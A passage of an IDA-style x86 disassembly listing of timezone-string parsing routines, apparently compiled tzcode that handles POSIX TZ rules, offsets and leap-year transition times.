		lea	eax, [edx+eax-30h]
		lea	edx, [ecx+eax]
		cmp	edx, edi
		jg	short loc_0_805A628
		inc	ebx
		mov	al, [ebx]
		test	al, al
		jnz	short loc_0_805A5F8

loc_0_805A61A:				; CODE XREF: sub_0_805A5C4+28j
					; sub_0_805A5C4+3Fj
		cmp	[ebp+arg_8], edx
		jg	short loc_0_805A628
		mov	esi, [ebp+arg_4]
		mov	[esi], edx
		mov	eax, ebx
		jmp	short loc_0_805A62A
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_805A628:				; CODE XREF: sub_0_805A5C4+11j
					; sub_0_805A5C4+20j ...
		xor	eax, eax

loc_0_805A62A:				; CODE XREF: sub_0_805A5C4+62j
		lea	esp, [ebp+var_10]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805A5C4	endp


; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805A634	proc near		; CODE XREF: sub_0_805A6C8+32p
					; sub_0_805A720+ABp

var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		push	18h
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	ecx
		call	sub_0_805A5C4
		mov	ecx, eax
		add	esp, 10h
		test	ecx, ecx
		jz	short loc_0_805A6B1
		mov	edx, [ebp+var_4]
		lea	eax, [edx+edx*2]
		lea	eax, [edx+eax*2]
		shl	eax, 5
		add	eax, edx
		shl	eax, 4
		mov	[ebx], eax
		cmp	byte ptr [ecx],	3Ah
		jnz	short loc_0_805A6BD
		inc	ecx
		push	3Bh
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	ecx
		call	sub_0_805A5C4
		mov	ecx, eax
		add	esp, 10h
		test	ecx, ecx
		jz	short loc_0_805A6B1
		mov	eax, [ebp+var_4]
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		shl	eax, 2
		add	[ebx], eax
		cmp	byte ptr [ecx],	3Ah
		jnz	short loc_0_805A6BD
		inc	ecx
		push	3Bh
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	ecx
		call	sub_0_805A5C4
		mov	ecx, eax
		test	ecx, ecx
		jnz	short loc_0_805A6B8

loc_0_805A6B1:				; CODE XREF: sub_0_805A634+23j
					; sub_0_805A634+53j
		xor	eax, eax
		jmp	short loc_0_805A6BF
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805A6B8:				; CODE XREF: sub_0_805A634+7Bj
		mov	esi, [ebp+var_4]
		add	[ebx], esi

loc_0_805A6BD:				; CODE XREF: sub_0_805A634+3Bj
					; sub_0_805A634+66j
		mov	eax, ecx

loc_0_805A6BF:				; CODE XREF: sub_0_805A634+7Fj
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805A634	endp


; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805A6C8	proc near		; CODE XREF: sub_0_805AAC0+64p
					; sub_0_805AAC0+CBp

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		cmp	byte ptr [ecx],	2Dh
		jnz	short loc_0_805A6E0
		mov	ebx, 1
		inc	ecx
		jmp	short loc_0_805A6F8
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_805A6E0:				; CODE XREF: sub_0_805A6C8+Ej
		movzx	edx, byte ptr [ecx]
		mov	eax, tableBit
		test	byte ptr [eax+edx*2+1],	8
		jnz	short loc_0_805A6F6
		mov	al, [ecx]
		inc	ecx
		cmp	al, 2Bh
		jnz	short loc_0_805A705

loc_0_805A6F6:				; CODE XREF: sub_0_805A6C8+25j
		xor	ebx, ebx

loc_0_805A6F8:				; CODE XREF: sub_0_805A6C8+16j
		push	esi
		push	ecx
		call	sub_0_805A634
		mov	ecx, eax
		test	ecx, ecx
		jnz	short loc_0_805A70C

loc_0_805A705:				; CODE XREF: sub_0_805A6C8+2Cj
		xor	eax, eax
		jmp	short loc_0_805A714
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805A70C:				; CODE XREF: sub_0_805A6C8+3Bj
		test	ebx, ebx
		jz	short loc_0_805A712
		neg	dword ptr [esi]

loc_0_805A712:				; CODE XREF: sub_0_805A6C8+46j
		mov	eax, ecx

loc_0_805A714:				; CODE XREF: sub_0_805A6C8+3Fj
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805A6C8	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805A720	proc near		; CODE XREF: sub_0_805AAC0+100p
					; sub_0_805AAC0+122p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ecx, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		cmp	byte ptr [ecx],	4Ah
		jnz	short loc_0_805A740
		mov	dword ptr [ebx], 0
		inc	ecx
		push	16Dh
		push	1
		jmp	short loc_0_805A7A8
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805A740:				; CODE XREF: sub_0_805A720+Dj
		cmp	byte ptr [ecx],	4Dh
		jnz	short loc_0_805A78C
		mov	dword ptr [ebx], 2
		inc	ecx
		push	0Ch
		push	1
		lea	eax, [ebx+0Ch]
		push	eax
		push	ecx
		call	sub_0_805A5C4
		mov	ecx, eax
		add	esp, 10h
		test	ecx, ecx
		jz	short loc_0_805A7BB
		mov	al, [ecx]
		inc	ecx
		cmp	al, 2Eh
		jnz	short loc_0_805A7BB
		push	5
		push	1
		lea	eax, [ebx+8]
		push	eax
		push	ecx
		call	sub_0_805A5C4
		mov	ecx, eax
		add	esp, 10h
		test	ecx, ecx
		jz	short loc_0_805A7BB
		mov	al, [ecx]
		inc	ecx
		cmp	al, 2Eh
		jnz	short loc_0_805A7BB
		push	6
		jmp	short loc_0_805A7A6
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_805A78C:				; CODE XREF: sub_0_805A720+23j
		movzx	edx, byte ptr [ecx]
		mov	eax, tableBit
		test	byte ptr [eax+edx*2+1],	8
		jz	short loc_0_805A7BB
		mov	dword ptr [ebx], 1
		push	16Dh

loc_0_805A7A6:				; CODE XREF: sub_0_805A720+6Aj
		push	0

loc_0_805A7A8:				; CODE XREF: sub_0_805A720+1Dj
		lea	eax, [ebx+4]
		push	eax
		push	ecx
		call	sub_0_805A5C4
		mov	ecx, eax
		add	esp, 10h
		test	ecx, ecx
		jnz	short loc_0_805A7C0

loc_0_805A7BB:				; CODE XREF: sub_0_805A720+41j
					; sub_0_805A720+48j ...
		xor	eax, eax
		jmp	short loc_0_805A7DD
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805A7C0:				; CODE XREF: sub_0_805A720+99j
		cmp	byte ptr [ecx],	2Fh
		jnz	short loc_0_805A7D4
		inc	ecx
		lea	eax, [ebx+10h]
		push	eax
		push	ecx
		call	sub_0_805A634
		mov	ecx, eax
		jmp	short loc_0_805A7DB
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_805A7D4:				; CODE XREF: sub_0_805A720+A3j
		mov	dword ptr [ebx+10h], 1C20h

loc_0_805A7DB:				; CODE XREF: sub_0_805A720+B2j
		mov	eax, ecx

loc_0_805A7DD:				; CODE XREF: sub_0_805A720+9Dj
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805A720	endp


; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805A7E4	proc near		; CODE XREF: sub_0_805AAC0+1BCp
					; sub_0_805AAC0+1D1p

var_1C		= byte ptr -1Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], 0
		mov	edx, [ebp+arg_4]
		test	dl, 3
		jnz	short loc_0_805A810
		mov	eax, [ebp+arg_4]
		mov	edi, 64h
		cdq	
		idiv	edi
		mov	ebx, edx
		test	ebx, ebx
		jnz	short loc_0_805A821

loc_0_805A810:				; CODE XREF: sub_0_805A7E4+19j
		mov	eax, [ebp+arg_4]
		mov	edi, 190h
		cdq	
		idiv	edi
		mov	ebx, edx
		test	ebx, ebx
		jnz	short loc_0_805A828

loc_0_805A821:				; CODE XREF: sub_0_805A7E4+2Aj
		mov	[ebp+var_4], 1

loc_0_805A828:				; CODE XREF: sub_0_805A7E4+3Bj
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		cmp	eax, 1
		jz	short loc_0_805A88C
		jg	short loc_0_805A840
		test	eax, eax
		jz	short loc_0_805A84C
		jmp	loc_0_805AAA8
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805A840:				; CODE XREF: sub_0_805A7E4+4Ej
		cmp	eax, 2
		jz	short loc_0_805A8AC
		jmp	loc_0_805AAA8
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805A84C:				; CODE XREF: sub_0_805A7E4+52j
		mov	edi, [ebp+arg_8]
		mov	edi, [edi+4]
		dec	edi
		lea	eax, [edi+edi*4]
		lea	eax, [edi+eax*4]
		lea	eax, [edi+eax*8]
		shl	eax, 2
		sub	eax, edi
		shl	eax, 7
		lea	esi, [eax+ecx]
		cmp	[ebp+var_4], 0
		jz	loc_0_805AAA8
		mov	edx, [ebp+arg_8]
		cmp	dword ptr [edx+4], 3Bh
		jle	loc_0_805AAA8
		add	esi, 15180h
		jmp	loc_0_805AAA8
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805A88C:				; CODE XREF: sub_0_805A7E4+4Cj
		mov	edi, [ebp+arg_8]
		mov	edi, [edi+4]
		lea	eax, [edi+edi*4]
		lea	eax, [edi+eax*4]
		lea	eax, [edi+eax*8]
		shl	eax, 2
		sub	eax, edi
		shl	eax, 7
		lea	esi, [eax+ecx]
		jmp	loc_0_805AAA8
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805A8AC:				; CODE XREF: sub_0_805A7E4+5Fj
		mov	esi, ecx
		xor	ebx, ebx
		mov	edx, [ebp+arg_8]
		mov	edx, [edx+0Ch]
		dec	edx
		mov	[ebp+var_C], edx
		cmp	ebx, edx
		jge	loc_0_805A9B3
		mov	edi, [ebp+var_4]
		mov	eax, edi
		add	eax, edi
		add	eax, edi
		mov	ecx, eax
		shl	ecx, 4
		mov	eax, edx
		sub	eax, 0
		and	eax, 3
		jz	short loc_0_805A944
		cmp	eax, 1
		jle	short loc_0_805A922
		cmp	eax, 2
		jle	short loc_0_805A905
		mov	edx, dword ptr ds:unk_0_8068EC8[ecx]
		lea	eax, [edx+edx*4]
		lea	eax, [edx+eax*4]
		lea	eax, [edx+eax*8]
		shl	eax, 2
		sub	eax, edx
		shl	eax, 7
		add	esi, eax
		add	ecx, 4
		mov	ebx, 1

loc_0_805A905:				; CODE XREF: sub_0_805A7E4+FEj
		mov	edx, dword ptr ds:unk_0_8068EC8[ecx]
		lea	eax, [edx+edx*4]
		lea	eax, [edx+eax*4]
		lea	eax, [edx+eax*8]
		shl	eax, 2
		sub	eax, edx
		shl	eax, 7
		add	esi, eax
		add	ecx, 4
		inc	ebx

loc_0_805A922:				; CODE XREF: sub_0_805A7E4+F9j
		mov	edx, dword ptr ds:unk_0_8068EC8[ecx]
		lea	eax, [edx+edx*4]
		lea	eax, [edx+eax*4]
		lea	eax, [edx+eax*8]
		shl	eax, 2
		sub	eax, edx
		shl	eax, 7
		add	esi, eax
		add	ecx, 4
		inc	ebx
		cmp	[ebp+var_C], ebx
		jle	short loc_0_805A9B3

loc_0_805A944:				; CODE XREF: sub_0_805A7E4+F4j
					; sub_0_805A7E4+1CDj
		mov	edx, dword ptr ds:unk_0_8068EC8[ecx]
		lea	eax, [edx+edx*4]
		lea	eax, [edx+eax*4]
		lea	eax, [edx+eax*8]
		shl	eax, 2
		sub	eax, edx
		shl	eax, 7
		add	esi, eax
		mov	edx, dword ptr ds:unk_0_8068ECC[ecx]
		lea	eax, [edx+edx*4]
		lea	eax, [edx+eax*4]
		lea	eax, [edx+eax*8]
		shl	eax, 2
		sub	eax, edx
		shl	eax, 7
		add	esi, eax
		mov	edx, dword ptr ds:unk_0_8068ED0[ecx]
		lea	eax, [edx+edx*4]
		lea	eax, [edx+eax*4]
		lea	eax, [edx+eax*8]
		shl	eax, 2
		sub	eax, edx
		shl	eax, 7
		add	esi, eax
		mov	edx, dword ptr ds:unk_0_8068ED4[ecx]
		lea	eax, [edx+edx*4]
		lea	eax, [edx+eax*4]
		lea	eax, [edx+eax*8]
		shl	eax, 2
		sub	eax, edx
		shl	eax, 7
		add	esi, eax
		add	ecx, 10h
		add	ebx, 4
		cmp	[ebp+var_C], ebx
		jg	short loc_0_805A944

loc_0_805A9B3:				; CODE XREF: sub_0_805A7E4+D8j
					; sub_0_805A7E4+15Ej
		mov	edx, [ebp+arg_8]
		mov	edx, [edx+0Ch]
		add	edx, 9
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		mov	edi, 0Ch
		cdq	
		idiv	edi
		mov	ecx, edx
		inc	ecx
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		cmp	dword ptr [edx+0Ch], 2
		jg	short loc_0_805A9DD
		dec	eax

loc_0_805A9DD:				; CODE XREF: sub_0_805A7E4+1F6j
		mov	edi, 64h
		cdq	
		idiv	edi
		mov	ebx, edx
		mov	ecx, eax
		mov	edx, [ebp+var_C]
		lea	eax, [edx+edx*4]
		lea	eax, [eax+eax*4]
		lea	eax, [edx+eax-2]
		mov	[ebp+var_C], eax
		mov	edi, 0Ah
		cdq	
		idiv	edi
		lea	eax, [eax+ebx+1]
		mov	[ebp+var_C], eax
		mov	eax, ebx
		test	eax, eax
		jge	short loc_0_805AA11
		add	eax, 3

loc_0_805AA11:				; CODE XREF: sub_0_805A7E4+228j
		sar	eax, 2
		add	[ebp+var_C], eax
		mov	eax, ecx
		test	ecx, ecx
		jge	short loc_0_805AA20
		lea	eax, [ecx+3]

loc_0_805AA20:				; CODE XREF: sub_0_805A7E4+237j
		sar	eax, 2
		add	[ebp+var_C], eax
		lea	eax, [ecx+ecx]
		sub	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		mov	edi, 7
		cdq	
		idiv	edi
		mov	[ebp+var_C], edx
		test	edx, edx
		jge	short loc_0_805AA44
		add	edx, 7
		mov	[ebp+var_C], edx

loc_0_805AA44:				; CODE XREF: sub_0_805A7E4+258j
		mov	edx, [ebp+arg_8]
		mov	ecx, [edx+4]
		sub	ecx, [ebp+var_C]
		jns	short loc_0_805AA52
		add	ecx, 7

loc_0_805AA52:				; CODE XREF: sub_0_805A7E4+269j
		mov	ebx, 1
		mov	edi, [ebp+arg_8]
		cmp	[edi+8], ebx
		jle	short loc_0_805AA95
		mov	edx, [ebp+var_4]
		mov	eax, edx
		add	eax, edx
		add	eax, edx
		shl	eax, 4
		mov	edx, [edi+0Ch]
		lea	edi, ds:0[edx*4]
		add	eax, edi
		mov	[ebp+var_C], eax
		lea	esi, [esi]

loc_0_805AA7C:				; CODE XREF: sub_0_805A7E4+2AFj
		lea	eax, [ecx+7]
		mov	edi, [ebp+var_C]
		cmp	dword ptr ds:asc_0_8068EC4[edi], eax ; "/"
		jle	short loc_0_805AA95
		mov	ecx, eax
		inc	ebx
		mov	edx, [ebp+arg_8]
		cmp	[edx+8], ebx
		jnz	short loc_0_805AA7C

loc_0_805AA95:				; CODE XREF: sub_0_805A7E4+279j
					; sub_0_805A7E4+2A4j
		lea	eax, [ecx+ecx*4]
		lea	eax, [ecx+eax*4]
		lea	eax, [ecx+eax*8]
		shl	eax, 2
		sub	eax, ecx
		shl	eax, 7
		add	esi, eax

loc_0_805AAA8:				; CODE XREF: sub_0_805A7E4+54j
					; sub_0_805A7E4+61j ...
		mov	eax, esi
		mov	edi, [ebp+arg_8]
		add	eax, [edi+10h]
		add	eax, [ebp+arg_C]
		lea	esp, [ebp+var_1C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805A7E4	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805AAC0	proc near		; CODE XREF: sub_0_805AF2C+21p
					; sub_0_805AF5C+8Fp

var_64		= byte ptr -64h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_1C		= byte ptr -1Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_34], ebx
		cmp	[ebp+arg_8], 0
		jnz	short loc_0_805AAF8
		push	ebx
		call	sub_0_805A584
		mov	ebx, eax
		mov	ecx, ebx
		sub	ecx, [ebp+var_34]
		mov	[ebp+var_3C], ecx
		add	esp, 4
		cmp	ecx, 2
		jg	short loc_0_805AB1A

loc_0_805AAED:				; CODE XREF: sub_0_805AAC0+5Dj
					; sub_0_805AAC0+70j ...
		mov	eax, 0FFFFFFFFh
		jmp	loc_0_805AF20
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805AAF8:				; CODE XREF: sub_0_805AAC0+13j
		call	strlen(ebx)
		mov	[ebp+var_3C], eax
		add	ebx, eax
		cmp	eax, 32h
		jbe	short loc_0_805AB1A
		mov	[ebp+var_3C], 32h

loc_0_805AB1A:				; CODE XREF: sub_0_805AAC0+2Bj
					; sub_0_805AAC0+51j
		cmp	byte ptr [ebx],	0
		jz	short loc_0_805AAED
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		call	sub_0_805A6C8
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	short loc_0_805AAED
		mov	edi, [ebp+arg_4]
		push	edi
		push	offset aPosixrules ; "posixrules"
		call	sub_0_805A254
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jz	short loc_0_805AB4F
		mov	dword ptr [edi], 0

loc_0_805AB4F:				; CODE XREF: sub_0_805AAC0+87j
		cmp	byte ptr [ebx],	0
		jz	loc_0_805AE88
		mov	[ebp+var_38], ebx
		push	ebx
		call	sub_0_805A584
		mov	ebx, eax
		mov	ecx, ebx
		sub	ecx, [ebp+var_38]
		mov	[ebp+var_40], ecx
		add	esp, 4
		cmp	ecx, 2
		jle	loc_0_805AAED
		cmp	byte ptr [ebx],	0
		jz	short loc_0_805ABA0
		cmp	byte ptr [ebx],	2Ch
		jz	short loc_0_805ABA0
		cmp	byte ptr [ebx],	3Bh
		jz	short loc_0_805ABA0
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		call	sub_0_805A6C8
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_0_805ABAC
		jmp	loc_0_805AAED
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805ABA0:				; CODE XREF: sub_0_805AAC0+BAj
					; sub_0_805AAC0+BFj ...
		mov	edi, [ebp+var_4]
		add	edi, 0FFFFF1F0h
		mov	[ebp+var_8], edi

loc_0_805ABAC:				; CODE XREF: sub_0_805AAC0+D7j
		cmp	byte ptr [ebx],	2Ch
		jz	short loc_0_805ABBA
		cmp	byte ptr [ebx],	3Bh
		jnz	loc_0_805AD34

loc_0_805ABBA:				; CODE XREF: sub_0_805AAC0+EFj
		inc	ebx
		lea	eax, [ebp+var_1C]
		push	eax
		push	ebx
		call	sub_0_805A720
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	loc_0_805AAED
		mov	al, [ebx]
		inc	ebx
		cmp	al, 2Ch
		jnz	loc_0_805AAED
		lea	eax, [ebp+var_30]
		push	eax
		push	ebx
		call	sub_0_805A720
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	loc_0_805AAED
		cmp	byte ptr [ebx],	0
		jnz	loc_0_805AAED
		mov	ecx, [ebp+arg_4]
		mov	dword ptr [ecx+8], 2
		mov	dword ptr [ecx+4], 88h
		mov	edi, [ebp+var_8]
		neg	edi
		mov	[ecx+74Ch], edi
		mov	dword ptr [ecx+750h], 1
		mov	edi, [ebp+var_3C]
		inc	edi
		mov	[ecx+754h], edi
		mov	edi, [ebp+var_4]
		neg	edi
		mov	[ecx+75Ch], edi
		mov	dword ptr [ecx+760h], 0
		mov	dword ptr [ecx+764h], 0
		mov	esi, [ebp+arg_4]
		add	esi, 10h
		mov	ebx, [ebp+arg_4]
		add	ebx, 5D8h
		mov	[ebp+var_44], 0
		mov	[ebp+var_58], 7B2h
		lea	esi, [esi+0]

loc_0_805AC6C:				; CODE XREF: sub_0_805AAC0+267j
		mov	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		mov	ecx, [ebp+var_58]
		push	ecx
		mov	edi, [ebp+var_44]
		push	edi
		call	sub_0_805A7E4
		mov	[ebp+var_48], eax
		mov	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	ecx, [ebp+var_58]
		push	ecx
		push	edi
		call	sub_0_805A7E4
		add	esp, 20h
		cmp	[ebp+var_48], eax
		jle	short loc_0_805ACB4
		mov	[esi], eax
		add	esi, 4
		mov	byte ptr [ebx],	1
		inc	ebx
		mov	edi, [ebp+var_48]
		mov	[esi], edi
		add	esi, 4
		mov	byte ptr [ebx],	0
		jmp	short loc_0_805ACC8
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_805ACB4:				; CODE XREF: sub_0_805AAC0+1DCj
		mov	ecx, [ebp+var_48]
		mov	[esi], ecx
		add	esi, 4
		mov	byte ptr [ebx],	0
		inc	ebx
		mov	[esi], eax
		add	esi, 4
		mov	byte ptr [ebx],	1

loc_0_805ACC8:				; CODE XREF: sub_0_805AAC0+1F2j
		inc	ebx
		mov	[ebp+var_54], 0
		mov	edi, [ebp+var_58]
		test	edi, 3
		jnz	short loc_0_805ACE9
		mov	eax, edi
		mov	ecx, 64h
		cdq	
		idiv	ecx
		test	edx, edx
		jnz	short loc_0_805ACF8

loc_0_805ACE9:				; CODE XREF: sub_0_805AAC0+219j
		mov	eax, [ebp+var_58]
		mov	edi, 190h
		cdq	
		idiv	edi
		test	edx, edx
		jnz	short loc_0_805ACFF

loc_0_805ACF8:				; CODE XREF: sub_0_805AAC0+227j
		mov	[ebp+var_54], 1

loc_0_805ACFF:				; CODE XREF: sub_0_805AAC0+236j
		mov	ecx, [ebp+var_54]
		mov	edx, ds:dword_0_8068F28[ecx*4]
		lea	eax, [edx+edx*4]
		lea	eax, [edx+eax*4]
		lea	eax, [edx+eax*8]
		shl	eax, 2
		sub	eax, edx
		shl	eax, 7
		add	[ebp+var_44], eax
		inc	[ebp+var_58]
		cmp	[ebp+var_58], 7F5h
		jle	loc_0_805AC6C
		jmp	loc_0_805AEBF
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805AD34:				; CODE XREF: sub_0_805AAC0+F4j
		cmp	byte ptr [ebx],	0
		jnz	loc_0_805AAED
		test	esi, esi
		jnz	loc_0_805AAED
		mov	[ebp+var_4C], 0
		xor	ebx, ebx
		mov	[ebp+var_58], 0
		xor	esi, esi
		mov	[ebp+var_54], 0
		mov	edi, [ebp+var_54]
		mov	ecx, [ebp+arg_4]
		cmp	[ecx+8], edi
		jle	loc_0_805AE13
		mov	edi, [ebp+var_8]
		neg	edi
		mov	[ebp+var_50], edi
		xor	eax, eax
		nop	

loc_0_805AD78:				; CODE XREF: sub_0_805AAC0+34Dj
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [eax+ecx+750h], 0
		jz	short loc_0_805ADBC
		mov	edx, esi
		mov	esi, [eax+ecx+74Ch]
		add	esi, [ebp+var_8]
		test	ebx, ebx
		jz	short loc_0_805AD9D
		cmp	edx, esi
		jnz	loc_0_805AAED

loc_0_805AD9D:				; CODE XREF: sub_0_805AAC0+2D3j
		mov	ecx, [ebp+var_50]
		mov	edi, [ebp+arg_4]
		mov	[eax+edi+74Ch],	ecx
		mov	ecx, [ebp+var_3C]
		inc	ecx
		mov	[eax+edi+754h],	ecx
		mov	ebx, 1
		jmp	short loc_0_805ADFE
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_805ADBC:				; CODE XREF: sub_0_805AAC0+2C3j
		mov	edx, [ebp+var_58]
		mov	edi, [ebp+arg_4]
		mov	edi, [eax+edi+74Ch]
		add	edi, [ebp+var_4]
		mov	[ebp+var_58], edi
		cmp	[ebp+var_4C], 0
		jz	short loc_0_805ADDD
		cmp	edx, edi
		jnz	loc_0_805AAED

loc_0_805ADDD:				; CODE XREF: sub_0_805AAC0+313j
		mov	edi, [ebp+var_4]
		neg	edi
		mov	ecx, [ebp+arg_4]
		mov	[eax+ecx+74Ch],	edi
		mov	dword ptr [eax+ecx+754h], 0
		mov	[ebp+var_4C], 1

loc_0_805ADFE:				; CODE XREF: sub_0_805AAC0+2FAj
		add	eax, 10h
		inc	[ebp+var_54]
		mov	ecx, [ebp+var_54]
		mov	edi, [ebp+arg_4]
		cmp	[edi+8], ecx
		jg	loc_0_805AD78

loc_0_805AE13:				; CODE XREF: sub_0_805AAC0+2A7j
		test	ebx, ebx
		jz	loc_0_805AAED
		cmp	[ebp+var_4C], 0
		jz	loc_0_805AAED
		xor	ebx, ebx
		mov	[ebp+var_54], 0
		mov	ecx, [ebp+var_54]
		mov	edi, [ebp+arg_4]
		cmp	[edi+4], ecx
		jle	loc_0_805AEBF
		lea	esi, [esi+0]

loc_0_805AE40:				; CODE XREF: sub_0_805AAC0+3C3j
		mov	ecx, [ebp+arg_4]
		mov	edi, [ebp+var_54]
		movzx	eax, byte ptr [edi+ecx+5D8h]
		shl	eax, 4
		lea	edx, [ecx+eax+74Ch]
		mov	eax, [ecx+edi*4+10h]
		test	ebx, ebx
		jz	short loc_0_805AE6C
		cmp	dword ptr [edx+0Ch], 0
		jnz	short loc_0_805AE6C
		add	eax, esi
		jmp	short loc_0_805AE6F
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805AE6C:				; CODE XREF: sub_0_805AAC0+39Ej
					; sub_0_805AAC0+3A4j
		add	eax, [ebp+var_58]

loc_0_805AE6F:				; CODE XREF: sub_0_805AAC0+3A8j
